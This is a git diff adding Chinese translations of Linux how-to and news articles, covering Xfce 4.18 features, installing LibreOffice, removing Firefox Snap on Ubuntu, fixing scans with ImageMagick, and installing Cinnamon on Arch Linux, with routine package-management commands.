https://itsfoss.com/wp-content/uploads/2022/11/open-media-file-through-vlc-file-menu.png +[7]: https://itsfoss.com/wp-content/uploads/2022/11/open-media-file-with-vlc-player-from-nautilus-file-manager.png +[8]: https://itsfoss.com/wp-content/uploads/2022/11/pause-at-start-point-and-start-record-by-pressing-record-button.png +[9]: https://itsfoss.com/wp-content/uploads/2022/11/pause-at-end-point-and-press-record.png +[10]: https://itsfoss.com/wp-content/uploads/2022/11/original-and-trimmed-file-in-nautilus-file-manager.png +[11]: https://itsfoss.com/wp-content/uploads/2022/11/converted-video-shows-a-play-error-in-gnome-video-player-app.png +[12]: https://itsfoss.com/wp-content/uploads/2022/11/install-gstreamer-from-software-as-prompted-by-the-gnome-video-player.png +[13]: https://itsfoss.com/wp-content/uploads/2022/11/select-convert-from-media-menu.png +[14]: https://itsfoss.com/wp-content/uploads/2022/11/select-file-to-convert-in-the-media-convert-dialog-box.png +[15]: https://itsfoss.com/wp-content/uploads/2022/11/set-conversion-profiles-and-output-file-name-in-vlc-media-convert-menu.png +[16]: https://itsfoss.com/wp-content/uploads/2022/11/original-trimmed-and-converted-file-in-nautilus-file-manager.png +[17]: https://itsfoss.com/open-source-video-editors/ diff --git a/published/202211/20221103.3 ⭐️⭐️ Xfce 4.18 Top New Features & Release Guide.md b/published/202211/20221103.3 ⭐️⭐️ Xfce 4.18 Top New Features & Release Guide.md new file mode 100644 index 0000000000..a83182981f --- /dev/null +++ b/published/202211/20221103.3 ⭐️⭐️ Xfce 4.18 Top New Features & Release Guide.md @@ -0,0 +1,163 @@ +[#]: subject: "Xfce 4.18: Top New Features & Release Guide" +[#]: via: "https://www.debugpoint.com/xfce-4-18-features/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15228-1.html" + +前瞻:Xfce 4.18 主要新功能 +====== + +> 有关 Xfce 4.18 的核心和原生应用程序的功能的全面介绍。 + +经过近两年的开发,Xfce 4.18 将在 2022 年圣诞节期间发布。作为 [Xfce 4.16][1] 以来的重要的版本,其一直在开发标签 4.17 下进行开发,以增强这个轻量级桌面。 + +考虑到 GTK4 的更新、初步的 Wayland 支持,以及核心和本地应用程序的改进,Xfce 4.18 是一个重要的里程碑版本,其带来了大量更新。 + +从发布时间来看,第一个 Xfce 4.18 预发布版(pre1)已经发布。2022 年 12 月的第一周会有另一个预发布版。而 Xfce 4.18 的最终版本预计将在 2022 年 12 月 15 日至 12 月 29 日之间发布。 + +由于目前还没有官方的详细介绍,我在这篇文章中总结了 Xfce 4.18 的基本和主要功能。 + +请继续阅读。 + +![Xfce 4.18 pre1 (compiled in Arch)][2] + +### Xfce 4.18 的新功能 + +#### 1、核心库更新 + +Xfce 4.18 的依赖关系有所改变,并使用以下版本进行编译: + +- glib-2.0 >= 2.66 +- gtk >= 3.24 +- libcairo >= 1.16 +- gdk-pixbuf-2.0 >= 2.40 +- gobject-introspection >= 1.66 + +#### 2、桌面和面板 + +顶部的主面板带来了新的设置和调整。但整体外观仍与以前的 4.16 版本中的一样。一些默认的面板小程序在这个版本中也有变化。桌面图标、右键上下文菜单和项目保持不变。 + +面板的首选项设置有两个新的选项。首先,面板的长度现在以**像素**设置,而不是百分比。其次,一个新的选项,“保持面板在窗口上方Keep panel above windows” ,可以让你将窗口对话放到面板后面。之前,应用程序的窗口只能达到面板的边缘。 + +![Xfce 4.18 中的面板首选项][3] + +彻底修改了时钟小程序的设置。是的,你终于可以改变 Xfce 时钟小程序的字体风格。与此同时,它提供了四种时钟布局: + +- 只有日期 +- 只有时间 +- 日期和时间 +- 时间和日期 + +此外,你还可以向日历中添加命令。 + +![终于你可以改变 Xfce 时钟小程序的字体了][4] + +#### 3、Thunar 文件管理器 + +也许这个版本中最令人兴奋的变化是 Thunar 文件管理器的功能。首先,一个新的“搜索”图标取代了工具栏上的“重新加载”按钮。当点击时,它会在地址栏上出现搜索,可以使用你的搜索关键词进行递归搜索。重新加载按钮被放到了 “查看View” 菜单中。 + +其次,在左边的导航栏上增加了一个的新项目,“最近Recent”。在底部,元数据更有条理(从逗号分隔改为竖线分隔),还有一个新的上下文菜单项可以选择你想要显示的元数据。 + +![Thunar 4.18 的视觉变化][5] + +Thunar 的主菜单有很多变化。下面列出了主要的变化。在下面的图片中还标注了自 4.16 以来的变化。 + +- 引入了一个**新的书签菜单**,可以将当前文件夹作为快捷方式添加到侧边栏。 +- “编辑Edit”菜单有了 “撤销undo” 和 “重做redo” 选项。 +- “前往Go” 菜单有了 “最近Recent” 和 “搜索Search” 的选项。 + +Thunar 首次通过 “视图View”菜单项有了“分割视图Split view”! 是的,你现在可以在视图面板中拖放项目。 + +前不久,我 [报道][6] 说图像预览即将在 Thunar 中出现。而它终于来了。作为谷歌代码之夏 2022 的部分开发成果,你现在可以嵌入在侧边栏中看到图片预览。或者在右边的一个独立的新面板上查看。它可以通过偏好设置来改变。 + +下面是它的外观。 + +![带有独立图像预览的 Thunar 分割视图][7] + +![嵌入图像预览的 Thunar 分割视图][8] + +#### 4、Thunar 的首选项 + +Thunar 设置中出现了大量调整。首先,一个新的选项卡可以为 Thunar 定制你的键盘快捷键。你可以直接指定新的快捷键组合,并从这个选项卡中改变现有的快捷键组合。 + +![Thunar 的新快捷键标签][9] + +“显示Display” 设置中新增了一个缩略图部分,你现在可以指定缩略图的文件大小。缩略图的具体设置也被归为一组。 + +![4.18 版的 Thunar 显示设置][10] + +“侧面板Side Pane” 选项卡有了一个新的图像预览选项,你在上面看到过。你可以设置为嵌入式或独立式预览。此外,“行为 Behaviour” 选项卡增加了 “启动时恢复选项卡restore tabs on startup” 和在选项卡标题中显示 “完整的目录路径full directory path” 的选项,这将有很大帮助。 + +“高级Advanced” 选项卡为 “文件传输File Transfer” 提供了一个新的设置部分,有两个新的选项:“中间文件复制Intermediate file copy”和“验证校验和Verify checksum”。此外,在这个选项卡中还增加了一个新的递归搜索的选项。你还可以通过以下选项将 Thunar 设置为直接 “执行 Shell 脚本Execute Shell script”。 + +![Thunar 4.18 的高级选项][11] + +除了上述变化外,文件夹属性对话框现在可以显示文件和文件夹的数量。另外,一个新的高亮选项使你能够为你的文件夹图标背景和前景选择任何自定义颜色。如果你有一个复杂的文件夹结构,这将使你能够快速导航。 + +下面是它的外观。 + +![文件夹高亮演示][12] + +#### 设置 + +“外观Appearances” 设置现在允许你打开和关闭对话框的标题栏。 + +“桌面Desktop” 设置允许文件上下文菜单中的删除选项(打开或关闭)。 + +“显示Display” 设置现在允许你为多种显示情况设置默认值:镜像、扩展显示还是什么都不做。早些时候,这些选项在显示器被连接时才可用。 + +#### Wayland 和其他更新 + +除了上述 Xfce 4.18 的功能外,窗口管理器和桌面还有许多额外的错误修复和性能改进。这些都是在底层的,你应该能感受到一个更精良的 Xfce 桌面体验。 + +Xfce 桌面核心和原生应用程序的 Wayland 迁移工作开始了。离它完全准备好还有很长的路要走。在这个版本中,你可能不会看到很多 Wayland 的更新。然而,许多应用程序在 Wayland 下已经可以正常工作了。你可以在 [本页][13] 了解更多关于迁移状态的信息。 + +### 下载及什么时候出现在发行版 + +Xfce 4.18 应该会在 2023 年 4 月进入 Ubuntu 23.04 Lunar Lobster,并在 Fedora 38 中出现。基于滚动发布的发行版,如 Arch Linux、Manjaro 和 OpenSUSE Tumbleweed 应该会在 2022 年 12 月发布后的几天内得到它。轻量级的流行发行版 [MX Linux][14] 应该在 2023 年采用这个版本,这个时候也是 Debian Bookworm 更新的时候。 + +Xfce 4.18 的第一个预发布版本 [现已发布][15]。你可以从下面的页面下载源码压缩包,并编译它们。请参考官方的 [编译指南][16]。 + + > **[下载 Xfce 4.18 源代码(pre1)][17]** + +### 总结 + +总的来说,变化的数量巨大。许多核心变化和需要的变化都进入了这个版本。Thunar 文件管理器的更新是早该进行的,对于 Xfce 的爱好者来说应该是完美的。 + +随着 Wayland 的支持,未来的 Xfce 版本可能会带来一个可行的 Xfce 版本。Wayland 的支持仍在进行中,每个组件都有许多决定有待作出。许多发行版和关键部署仍然喜欢 Xfce 而不是 KDE Plasma 或 GNOME。考虑到这些用例和未来的路线图,Xfce 4.18 是下一个版本之前的一个重要的里程碑。 + +列表中你最喜欢的功能是什么?请在评论栏里告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/xfce-4-18-features/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/xfce-4-16-review/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/11/Xfce-4.18-pre1-compiled-in-Arch-1024x594.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/11/Panel-preferences-in-Xfce-4.18.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/11/Finally-you-can-change-the-font-of-Xfce-Clock-applet.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/11/Thunar-4.18-visual-changes.jpg +[6]: https://debugpointnews.com/thunar-image-preview/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/11/Thunar-split-view-with-embedded-image-preview.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/11/Thunar-split-view-with-sidebar-image-preview.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/11/New-shortcut-tab-in-Thunar.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/11/Thunar-Display-Settings-in-4.18.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/11/Advanced-options-of-Thunar-4.18.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/11/Folder-highlight-demo.jpg +[13]: https://wiki.xfce.org/releng/wayland_roadmap +[14]: https://www.debugpoint.com/tag/mx-linux +[15]: https://www.reddit.com/r/xfce/comments/yjiwwv/announce_xfce_418pre1_released/ +[16]: https://docs.xfce.org/xfce/building +[17]: https://archive.xfce.org/xfce/4.18pre1/fat_tarballs diff --git a/published/202211/20221104.3 ⭐️ How to Install Latest LibreOffice in Ubuntu and other Linux.md b/published/202211/20221104.3 ⭐️ How to Install Latest LibreOffice in Ubuntu and other Linux.md new file mode 100644 index 0000000000..179b548be1 --- /dev/null +++ b/published/202211/20221104.3 ⭐️ How to Install Latest LibreOffice in Ubuntu and other Linux.md @@ -0,0 +1,135 @@ +[#]: subject: "How to Install Latest LibreOffice in Ubuntu and other Linux" +[#]: via: "https://www.debugpoint.com/install-latest-libreoffice-ubuntu-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15277-1.html" + +如何在 Ubuntu 中安装最新的 LibreOffice +====== + +![][0] + +> 在 Ubuntu 和其他 Linux 中安装最新的 LibreOffice 版本的快速指南。 + +自由开源的办公套件 LibreOffice 有两个版本:社区版和企业版。“社区” 版是为那些希望获得最新的尖端软件技术的早期采用者准备的。而 “企业” 版本更加稳定,可能不包括所有的最新功能,但它是生产环境和专业工作的理想选择。 + +### 在 Ubuntu 和其他 Linux 中安装最新的 LibreOffice + +#### 1、删除预安装的 LibreOffice + +Ubuntu 和其他的 Linux 发行版带有预安装的 LibreOffice。这可能不是最新的,这是因为发行版有特定的发行周期。在进行新安装之前,你可以通过以下命令删除 Ubuntu 及其衍生发行版中的的旧版本。 + +打开一个终端并运行以下命令,以删除 Ubuntu 和相关发行版中的已安装的 LibreOffice。对于其他发行版,你可以使用发行版的软件包管理器将其删除。 + +``` +sudo apt remove –purge libreoffice* +sudo apt autoclean +sudo apt autoremove +``` + +然后重启以确保一切正常(尽管你也可以跳过这一步)。 + +#### 2、从网站上下载安装 + +前往 [官方下载页面][1]. 并通过从下拉菜单中选择类型下载 “最新的” 版本。对于 Ubuntu 和其他衍生产品,请选择 .deb 文件。 + +![LibreOffice download and install from official website][2] + +下载后,提取文件;你应该看到下面的所有软件包。 + +![Extracted LibreOffice DEB files][3] + +在提取文件的位置打开终端,并按顺序运行以下命令。首先,你需要安装 ure 包,其次是核心包,然后是所有的基本包。最后,就是主要的 LibreOffice 软件包。下面是一组典型的命令。你需要更改为具体版本的版本号。 + +``` +sudo dpkg -i libobasis7.0-ure_7.0.4.2-2_amd64.deb +sudo dpkg -i libobasis7.0-core_7.0.4.2-2_amd64.deb +sudo dpkg -i libobasis7.0* +``` + +``` +sudo dpkg -i libreoffice7.0* +``` + +如果你使用的是 Fedora Linux 或 Red Hat Linux,请按照上述相同的顺序使用 [dnf 命令][4]。 + +![Install LibreOffice via dpkg][5] + +等待安装完成。完成后,你可以通过应用程序菜单找到 LibreOffice。 + +![Latest LibreOffice in Menu][6] + +这应该完成安装最新 LibreOffice 的步骤。如果你不想遵循上述方法,请参阅以下选项。 + +### 通过 PPA 安装 + +如果你想通过 PPA 安装它,请按照以下步骤操作。确保在上面的第 1 步中删除现有的 LibreOffice。 + +``` +sudo add-apt-repository ppa:libreoffice/ppa +``` + +最后,运行以下命令从这个官方 PPA 安装最新的 LibreOffice 5.4 系列。 + +``` +sudo apt update +sudo apt install libreoffice +``` + +安装后,你可以通过 Dash 搜索启动 LibreOffice。 + +![LibreOffice 5.4.2 Running in Ubuntu][7] + +### 通过 Snap 和 Flatpak 安装 + +如果你是 Linux 用户,你可以尝试 LibreOffice 独立的可执行文件,它在 Snap 或 Flatpak 等沙箱中运行。 + +要通过 [Flatpak][8] 安装 LibreOffice ,请访问 [这个页面][9] 进行设置,然后运行以下命令进行安装: + +``` +flatpak install flathub org.libreoffice.LibreOffice +``` + +同样,对于 [Snap][10] 版本,使用以下命令进行安装: + +``` +sudo snap install libreoffice +``` + +### 如何升级到最新的 LibreOffice 版本? + +如果你不想删除 LibreOffice 但想升级到最新版本,请阅读我们下面的完整指南。 + +> **[在 Ubuntu、Linux Mint 和 Windows 中升级到最新的 LibreOffice][11]** + +如果你在安装最新的 LibreOffice 时遇到问题,请随时留言。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-latest-libreoffice-ubuntu-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.libreoffice.org/download/download/ +[2]: https://www.debugpoint.com/wp-content/uploads/2017/10/LibreOffice-download-and-install-from-official-website.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2017/10/Extracted-LibreOffice-DEB-files.jpg +[4]: https://www.debugpoint.com/dnf-commands-examples/ +[5]: https://www.debugpoint.com/wp-content/uploads/2017/10/Install-LibreOffice-via-dpkg.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2017/10/Latest-LibreOffice-in-Menu.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2017/10/LibreOffice-5.4.2-Running-in-Ubuntu-.png +[8]: https://flathub.org/apps/details/org.libreoffice.LibreOffice +[9]: https://flatpak.org/setup/ +[10]: https://snapcraft.io/libreoffice +[11]: https://www.debugpoint.com/libreoffice-upgrade-update-latest/ +[12]: https://www.debugpoint.com/libreoffice-upgrade-update-latest/embed/#?secret=KINquNxuYI#?secret=FGij1s6Mfc +[0]: https://img.linux.net.cn/data/attachment/album/202211/21/232133g8pmpgssszv6p1v8.jpg \ No newline at end of file diff --git a/published/202211/20221104.4 ⭐️ How to Remove Firefox Snap from Ubuntu (21.10 +).md b/published/202211/20221104.4 ⭐️ How to Remove Firefox Snap from Ubuntu (21.10 +).md new file mode 100644 index 0000000000..9d673255d5 --- /dev/null +++ b/published/202211/20221104.4 ⭐️ How to Remove Firefox Snap from Ubuntu (21.10 +).md @@ -0,0 +1,138 @@ +[#]: subject: "How to Remove Firefox Snap from Ubuntu (21.10 +)" +[#]: via: "https://www.debugpoint.com/remove-firefox-snap-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15247-1.html" + +如何从 Ubuntu 21.10 及以后版本中删除 Firefox Snap +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/13/112531vis11sa2z1jbs215.jpg) + +> Ubuntu 21.10 “Impish Indri” 及之后的版本将 Firefox Snap 设为默认浏览器。如果你不喜欢 Snap,可以通过以下方式将其删除并使用库存版本。 + +关于 Snap 是否是 APT 的更好替代品,一直存在争议。而许多用户更喜欢 Snap 系统,也有一些人非常讨厌它。Ubuntu 和 Canonical 认为它是 Linux 的最佳安装仓库和包管理工具之一。 Snap 被讨厌的主要原因是它的启动很慢。然而,这个论点是另一篇文章的内容。 + +### 从 Ubuntu 中删除 Firefox Snap 版本 + +所以,如果你还没有 [听说过这件事][1],Ubuntu 21.10(和所有后续版本)默认提供 Firefox Snap 包。因此,当你从 Ubuntu 21.10 开始安装时,默认的左侧停靠区的快捷方式是 Firefox 的 Snap 版本。你可以使用以下各种方法对其进行验证。 + +![snap 列表 - Firefox][2] + +![Firefox snap 桌面快捷方式][3] + +如果你因为 [性能][4] 和存储问题而不喜欢 Snap,可以通过以下命令将其删除。 + +如果已经打开,那么关闭所有 Firefox 实例。 + +打开一个终端。然后运行以下命令: + +``` +sudo snap remove firefox +``` + +等待命令完成。这将从你的系统中删除它的 Snap 可执行文件,并断开 Firefox 与各种系统服务的连接。但是主目录下的 Snap 目录仍然存在。你可以使用以下命令手动删除它: + +``` +cd ~/snap +rm -r firefox +``` + +### 安装 Firefox 替代方法 + +现在,当你删除了 Firefox,你可以通过以下方式来使用此浏览器。 + +#### 方法 1 – 使用 PPA(推荐) + +在使用此方法之前,请确保如上删除了 Firefox 的 Snap 版本。 + +有一个 [官方 Firefox PPA][5],由其开发团队维护。你可以将此 PPA 添加到你的软件源中,并使用它来安装最新的 Firefox。 + +确保使用文本编辑器创建一个首选项文件,以阻止 Ubuntu 在运行 `apt update` 命令时获取 Firefox 的 Snap 版本: + +``` +sudo gedit /etc/apt/preferences.d/firefox-no-snap +``` + +将以下行添加到上面的文件并保存: + +``` +Package: firefox* +Pin: release o=Ubuntu* +Pin-Priority: -1 +``` + +依次使用以下命令。第一个命令将其从你的系统中完全清除它: + +``` +sudo apt purge firefox +sudo add-apt-repository ppa:mozillateam/firefox +sudo apt-get update +sudo apt install firefox +``` + +安装完成后,请确保使用以下命令启用自动升级: + +``` +echo 'Unattended-Upgrade::Allowed-Origins:: "LP-PPA-mozillateam:${distro_codename}";' | sudo tee /etc/apt/apt.conf.d/51unattended-upgrades-firefox +``` + +重启系统(可选)并使用 deb 版本的 Firefox。 + +#### 方法 2 – 使用 Firefox 的压缩可执行文件 + +你可以从官方网站(链接如下)下载适用于 Ubuntu 和其他 Linux 的 Firefox 可执行文件压缩包。然后解压并双击运行 Firefox 可执行文件。这是最安全的方法。如果你使用此方法,你仍然可以获得更新。 + +> **[下载 Firefox][6]** + +![下载 Firefox 并解压][7] + +![然后运行可执行文件][8] + +#### 方法 3 – 使用 Flatpak 版本的 Firefox + +你也可以使用 [Flatpak 版本的 Firefox][9],这在 [Ubuntu 中设置 Flatpak][10] 后可用。然后你可以运行以下命令进行安装: + +``` +flatpak install flathub org.mozilla.firefox +``` + +#### 方法 4 – 使用与系统耦合更少的 Snap 版本 Firefox + +如果你认为你仍然可以继续使用 Snap 版本,但希望在系统中减少沙盒化,那么你可能需要使用以下命令和 [classic 开关][11] 重新安装 Firefox: + +``` +sudo snap install firefox --classic +``` + +### 结束语 + +因此,这是从 Ubuntu 21.10 开始删除 firefox Snap 版本的步骤,以及一些替代方案。我很想知道 Linux Mint 采取了什么措施,因为他们不支持 Snap。此外,这些发行版依赖于 Firefox 的 Ubuntu 上游仓库,看看它们会做什么很有趣。Debian 维护自己的仓库,但主要是 ESR 版本。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/remove-firefox-snap-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://bugs.launchpad.net/ubuntu/+source/ubuntu-release-upgrader/+bug/1943840 +[2]: https://www.debugpoint.com/wp-content/uploads/2021/09/snap-list-Firefox.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2021/09/Firefox-snap-desktop-shortcut-1024x490.jpg +[4]: https://www.debugpoint.com/2021/03/clean-up-snap/ +[5]: https://launchpad.net/~mozillateam/+archive/ubuntu/ppa +[6]: https://www.mozilla.org/en-US/firefox/new/ +[7]: https://www.debugpoint.com/wp-content/uploads/2021/09/Download-Firefox-and-Extract.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2021/09/And-then-run-the-executable.jpg +[9]: https://flathub.org/apps/details/org.mozilla.firefox +[10]: https://www.debugpoint.com/2018/07/how-to-install-flatpak-apps-ubuntu-linux/ +[11]: https://snapcraft.io/docs/snap-confinement diff --git a/published/202211/20221105.0 ⭐️⭐️ Fix scanned images with ImageMagick.md b/published/202211/20221105.0 ⭐️⭐️ Fix scanned images with ImageMagick.md new file mode 100644 index 0000000000..991acefdef --- /dev/null +++ b/published/202211/20221105.0 ⭐️⭐️ Fix scanned images with ImageMagick.md @@ -0,0 +1,93 @@ +[#]: subject: "Fix scanned images with ImageMagick" +[#]: via: "https://opensource.com/article/22/11/fixing-scanned-images-imagemagick" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15268-1.html" + +使用 ImageMagick 修复扫描图像 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/19/155829valiu5lulmhuuhiz.jpg) + +> 使用这个开源工具,即使是批量校正图像也很容易。 + +多年前,在翻阅一家旧书店的书架上的内容时,我偶然发现了一本名为 《UNIX System Command Summary for Berkeley 4.2 & 4.3 BSD》 的小册子,由 Specialized Systems Consultants 出版。我买它是出于好奇,因为它已经有将近 20 年的历史了,但仍然在很大程度上适用于现代 Linux 和 BSD。 + +无论是当时还是现在,我都很开心。一本写于 1986 年的小册子在 2016 年仍然很重要,而同一个书架上关于专有操作系统的书籍并不值得印刷它们的纸张。(想一想:你认为什么技术可以在僵尸末日中幸存下来?)这本小册子已经放在我自己的书架上好几年了,但我突然想到可能值得对这个作品做一点数字保存,所以我决定扫描这本小册子来创建一本 [CBZ 电子书][1]。 + +使用 [Skanlite][2] 进行扫描很容易,但很耗时。然而,当我完成后,我发现有些页面不是很平整。 + +![A page of text, including a table of contents and a glossary, that is crooked and distorted][3] + +在打印中,这称为配准问题,这意味着打印内容的位置在页面上的方向不正确。 + +### ImageMagick + +[ImageMagick][4] 是基于终端的非交互式图形编辑器。尝试在无图形环境(如纯文本终端)中编辑图形似乎违反直觉,但实际上很常见。例如,当你将图像上传到 Web 应用用作个人资料图片时,应用服务器上的脚本可能会使用 ImageMagick 或其库处理你的图像。非交互式编辑器的优点是你可以制定需要对示例图像执行的操作,然后只需按一下按钮即可将这些效果应用于数百个其他图像。 + +ImageMagick 通常与其他图形编辑器一样强大,只要你花时间了解它的许多功能以及如何组合它们以实现所需的效果。在这种情况下,我想旋转歪斜的页面。在搜索了 ImageMagick 的文档后,我发现我需要的解决方案的 ImageMagick 术语称为纠偏。将你的术语与其他人的术语保持一致对于你不知道的任何事情都是一个挑战,因此当你使用 ImageMagick(或其他任何东西)时,请记住,你描述问题或解决方案的用词可能和别人不一样。 + +要使用 ImageMagick 对带有弯曲文本的图像进行校正: + +``` +$ convert page_0052.webp -deskew25% fix_0052.webp +``` + +`-deskew` 选项表示可接受偏差的阈值。通过跟踪看似字母的对象的峰谷来确定倾斜。根据扫描的弯曲程度,你可能需要多于或少于 25% 的阈值。我已经达到了 80%,到目前为止,低于 25% 没用效果。 + +结果如下: + +![The same page of text, now with the text properly aligned][5] + +修复了!将其应用于文档的剩余 55 页以修复倾斜的页面,而对已经笔直的页面不做任何事情。换句话说,由于我的阈值设置,在不需要调整的页面上运行此命令是安全的。 + +### 使用 ImageMagick 裁剪图像 + +在纠正了歪斜之后,因为我扫描每一页都比必要的范围要多,以防止意外切断单词,我认为裁剪我纠正的页面是有意义的。我很高兴在页边空白处保留一些空间,但没有以前那么多。我经常使用 ImageMagick 的“裁剪”功能来处理这个网站上的图像,所以我很熟悉这个选项。但是,我需要确定如何裁剪每一页。 + +首先,我需要图像的大小: + +``` +$ identify fixed_0052.webp +WEBP 1128x2593 1128x2593+0+08-bit sRGB 114732B 0.020u 0:00.021 +``` + +知道尺寸后,我能够对我可以承受的丢失多少像素做出一些估计。经过几次试运行,我得到了这个: + +``` +convert fix_0052.webp -gravity Center -crop 950x2450+0+0 crop_0052.webp +``` + +这并不完全适合,但当我将它应用于册子中的其他图像时,它被证明很重要。这些页面的内容和扫描仪位置各不相同,所以我很高兴给每一页一点空余空间。 + +这是校正和裁剪的图像: + +![The same page of text, with the previous fixes applied and crooked white margins around the page cropped out.][6] + +### 使用开源批量编辑图像 + +ImageMagick 的美妙之处在于,当你确定了修复图像的公式,你就可以将该修复应用于需要相同修复的所有图像。我使用 [GNU Parallel][7] 执行此操作,它使用我所有的 CPU 内核来完成数百页的图像校正。这并不需要很长时间,而且结果不言而喻。更重要的是,我已经有了一个 UNIX 历史上有趣作品的数字档案。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/fixing-scanned-images-imagemagick + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/19/3/comic-book-archive-djvu +[2]: https://opensource.com/article/22/2/scan-documents-skanlite-linux-kde +[3]: https://opensource.com/sites/default/files/2022-10/imagemagick-crook_1.png +[4]: https://opensource.com/article/17/8/imagemagick +[5]: https://opensource.com/sites/default/files/2022-10/imagemagick-deskew-fix.png +[6]: https://opensource.com/sites/default/files/2022-10/imagemagick-deskew-crop.png +[7]: http://LINK-TO-SETH-GNU-PARALLEL-REDHAT.COM/SYSADMIN diff --git a/published/202211/20221105.1 ⭐️ How to Install Cinnamon Desktop in Arch Linux.md b/published/202211/20221105.1 ⭐️ How to Install Cinnamon Desktop in Arch Linux.md new file mode 100644 index 0000000000..58c85293ba --- /dev/null +++ b/published/202211/20221105.1 ⭐️ How to Install Cinnamon Desktop in Arch Linux.md @@ -0,0 +1,140 @@ +[#]: subject: "How to Install Cinnamon Desktop in Arch Linux" +[#]: via: "https://www.debugpoint.com/cinnamon-arch-linux-install/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15303-1.html" + +如何在 Arch Linux 中安装 Cinnamon 桌面 +====== + +![][0] + +> Cinnamon 是 Linux Mint 的默认桌面环境。本快速指南解释了在 Arch Linux 中安装 Cinnamon 桌面环境的步骤。 + +[Cinnamon 桌面环境][1] 是 [Linux Mint][2] 的默认桌面风格。创建这个基于 GTK 的桌面环境是为了提供具有以前的 GNOME 的传统桌面风格(即 GNOME 3 之前的外观)。该桌面本身很轻巧,非常人性化。因为它保留了经过时间考验的图标和菜单驱动的桌面行为,因此它被认为(与 Linux Mint 结合)是新 Linux 用户易于使用的桌面之一。 + +尽管 Cinnamon 及其软件包与 Linux Mint 紧密结合,但该桌面可以作为单独的桌面环境安装在 Ubuntu、Fedora 或 Arch Linux 中。 + +在 Arch Linux 中安装 Cinnamon 相当容易,就像在 Arch 中安装其他桌面(例如 Xfce 和 KDE Plasma)一样。但它需要安装一些特定的软件包才能使其看起来像一个合适的 Cinnamon 桌面。 + +让我们开始吧。 + +### 在 Arch Linux 中安装 Cinnamon 桌面 + +#### 第 1 步:安装基本系统 + +本指南假设你已经安装了基本的 Arch 系统。如果你没有安装基本系统,请按照 [自动化 Arch 安装指南][3](推荐方法)进行安装。然后按照以下步骤操作。 + +#### 第 2 步:更新你的系统 + +在你的 Arch 中打开一个终端。并通过运行以下命令确保系统是最新的: + +``` +pacman -Syu +``` + +#### 第 3 步:安装 yay AUR 助手 + +配置 Cinnamon 所需的某些包在 Arch 官方仓库中不可用。它们在 Arch 用户仓库(AUR)中。因此,你需要安装 yay 以获得额外的软件包。按照 [本指南安装 yay AUR 助手][4]。 + +#### 第 4 步:在 Arch Linux 中安装 Cinnamon 桌面 + +基本的 Cinnamon 桌面在 [cinnamon][5] 包中,它存在于社区仓库中。打开终端并运行以下命令来安装 Cinnamon 桌面和终端应用。 + +``` +sudo pacman -S cinnamon gnome-terminal +``` + +安装显示服务器和显示管理器。LightDM 是轻量级的,非常适合 Cinnamon。不过,你可以使用任何其他显示管理器,例如 SDDM 或 GDM。但我建议你坚持使用 Lightdm。 + +``` +sudo pacman -S xorg lightdm lightdm-gtk-greeter +``` + +使显示管理器和网络服务在下次启动时启动。 